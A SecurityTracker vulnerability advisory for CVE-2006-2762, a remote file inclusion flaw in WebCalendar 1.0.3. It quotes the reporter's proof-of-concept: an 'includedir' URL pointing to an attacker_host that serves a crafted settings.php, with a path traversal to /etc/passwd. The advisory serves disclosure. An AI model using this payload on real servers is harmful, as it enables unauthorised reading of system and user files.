WebCalendar Include File Bug in 'includes/config.php' Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016179
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SecurityTracker URL: http://securitytracker.com/id?1016179
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CVE Reference: CVE-2006-2762
(Links to External Site)
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Updated: Aug 25 2009
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Original Entry Date: May 30 2006
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Impact: Disclosure of system information, Disclosure of user information
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Exploit Included: Yes
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Version(s): 1.0.3
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Description: A vulnerability was reported in WebCalendar. A remote user can view arbitrary files on the target system.
The 'includes/config.php' script does not properly validate user-supplied input in the 'includedir' parameter. If register_globals
is enabled, a remote user can supply a specially crafted URL to cause the target system to include files from a remote system which
will be able to include files from the target system. As a result, the remote user can view arbitrary files with the privileges
of the target web service.
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Impact: A remote user can view files on the target system with the privileges of the target web service.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.k5n.us/webcalendar.php (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: socsam@linuxmail.org
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Message History:
None.
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Source Message Contents
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Date: Tue, 30 May 2006 18:31:12 +0000
From: socsam@linuxmail.org
Subject: WebCalendar-1.0.3 reading of any files
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Version: WebCalendar-1.0.3
Type: Reading of any files
Description:
-----------------------------
includes/config.php:
line 64
if ( ! empty ( $includedir ) )
$fd = @fopen ( "$includedir/settings.php", "rb", true );
......
while ( ! feof ( $fd ) ) {
$data .= fgets ( $fd, 4096 );
$configLines = explode ( "\n", $data );
for ( $n = 0; $n < count ( $configLines ); $n++ ) {
......
$settings[$matches[1]] = $matches[2];
......
$user_inc = $settings['user_inc'];
......
includes/init.php
include_once "includes/$user_inc";
Example:
---------------------------------------
index.php?includedir=http://attacker_host
where in attacker_host exists file settings.php , which content
<?php
echo '<?php
# updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300
Unimportant variables can be taken from original settings.php
user_inc: ../../../../../../../../../../../../../../../../etc/passwd
# end settings.php
?>';
?>
Requirements
register_globals = On;
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